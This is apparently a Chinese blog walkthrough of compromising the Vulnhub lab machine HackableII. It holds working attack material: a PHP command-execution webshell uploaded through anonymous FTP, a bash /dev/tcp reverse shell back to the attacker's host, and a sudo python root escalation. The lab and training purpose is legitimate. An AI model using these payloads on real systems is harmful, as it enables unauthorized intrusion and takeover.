当前位置: 首页 > article >正文

Vulnhub靶场案例渗透[8]- HackableII

文章目录

  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 靶场搭建
  • 二、渗透靶场
    • 1. 确定靶机IP
    • 2. 探测靶场开放端口及对应服务
    • 3. 扫描网络目录结构
    • 4. ftp文件上传漏洞
    • 5. 反弹shell
    • 6. 提权

一、靶场搭建

1. 靶场描述

difficulty: easy
This works better with VirtualBox rather than VMware

难度为容易的靶场

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

image.png

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.129.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.129

结果图:
image.png

可以确认主机开放了8022以及21端口,分别对应http服务和ssh服务和ftp服务,以及http后台使用的PHP作为后台语言,并且ftp支持匿名登录。到这里直接通过浏览器访问对应web服务。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。

# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.129 -x 404

image.png

发现dirsearch扫描files目录,推测应该是ftp服务文件上传保存位置。

4. ftp文件上传漏洞

通过ftp匿名登录上传一个一句话木马php代码,看文件保存路径是否是/files下。

ftp 192.168.37.129
登录用户名:anonymous
登录密码: test@gmaiil.com

# 上传木马php文件
put test.php
// 一句话木马pho代码内容
<?php
   echo $_GET["cmd"];
   system($_GET["cmd"]);
?>

上传php代码之后,发现通过http服务可以直接访问到上传的test.php文件。

image.png

5. 反弹shell

利用直接上传的php文件,尝试远程执行执行一段命令,看是否可以正常执行。这里选用ls遍历目录文件,发现可以执行成功,接下来利用一句话木马,进行反弹shell。

image.png

反弹shell的命令为bash -c "bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1",这段命令要设置成url参数需要进行urlencode编码,下面提供一个urlencode编码的代码。

import urllib.parse
import sys
import file_util
def urlencode_string(content):
    '''
    url编码
    :param content:
    :return:
    '''
    if content:
        return urllib.parse.quote(content, safe="")

def urldecode_string(content):
    '''
    url编码还原
    :param content:
    :return:
    '''
    if content:
        return urllib.parse.unquote(content)


if __name__ == "__main__":

    if len(sys.argv) != 2:
        print("Usage: python *.py filepath")
        sys.exit(0)
    file_path = sys.argv[1]
    content = file_util.get_file_content(file_path)
    if not content:
        print("file don't have content")
        sys.exit(0)
    print(urlencode_string(content))

# 反弹sehll设置参数
/bin/bash -c "bash -i >& /dev/tcp/192.168.37.22/8888 0>&1"
# 攻击机kaili执行
nc -lvp 8888

成功获取到反弹shell。

image.png

6. 提权

获取到反向shell之后,使用这段python代码之后,创建一个交互性强的伪终端。

python3 -c 'import pty; pty.spawn("/bin/bash")'

获取到shell之后,发现/home目录下有一个important.txt文件进行了提示,下图就是提示文件内容。

image.png

按照提示内容,直接执行,/.runme.sh的脚本。发现打印的内容出现shrek的密码,看密码的形式应该是使用md5加密的。接下来就是进行通过撞库还原密码。

image.png

还原密码的方式:一通过john等暴力破解方式进行枚举暴力,需要花费大量时间。二找到彩虹表之类的库直接进行比较查询,速度快。这次选用一个在线网站进行还原点击跳转,获取到密码的明文为onion.

image.png

获取到密码之后直接使用ssh方式连接到目标主机.获取shrek身份的shell,并且获取到shrek用户目录下的user.txt

image.png

接下来执行sudo -l发现可以直接sudo 进行提权。shrek可以以root身份免密执行/usr/bin/python.3.5。接下来编写生成一个新的终端python代码,就可以提权到root身份了。

image.png

sudo /usr/bin/python3.5 -c "import os;os.system('/bin/bash')"

执行python代码之后,成功获取到root的权限,以及root下面的flag内容。

image.png


http://www.kler.cn/a/392813.html

相关文章:

  • 系统架构设计师论文
  • 物理设备命名规则(Linux网络服务器 15)
  • 一文详解java的数据类型
  • 使用CubeMX一键配置Freertos
  • 如何查看电脑关机时间
  • ESLint 使用教程(三):12个ESLint 配置项功能与使用方式详解
  • 更换电脑 重新安装软件
  • 前端基础的讲解-JS(11)
  • 磁盘的物理组成(Linux网络服务器 15)
  • Kafka--关于broker的夺命连环问
  • 半导体企业如何利用 Jira 应对复杂商业变局?
  • C++进阶-->封装map和set
  • deeponet作者相关三篇论文链接(理论基础、实用拓展、外推)
  • lmod安装和使用
  • 12 go语言(golang) - 数据类型:接口
  • C++ 优先算法 —— 四数之和(双指针)
  • 二、深度学习_基本概念笔记
  • UVC 输出视频格式修改和windows下数据分析
  • web实验3:虚拟主机基于不同端口、目录、IP、域名访问不同页面
  • Java学生管理系统(GUI和数据库)
  • vue3中查找字典列表中某个元素的值
  • 阅读《当代反无人机系统技术综述》笔记
  • Django 外键引用另一个表中的多个字段
  • Linux文件目录命令
  • 歌尔嵌入式面试题及参考答案
  • Python的装饰器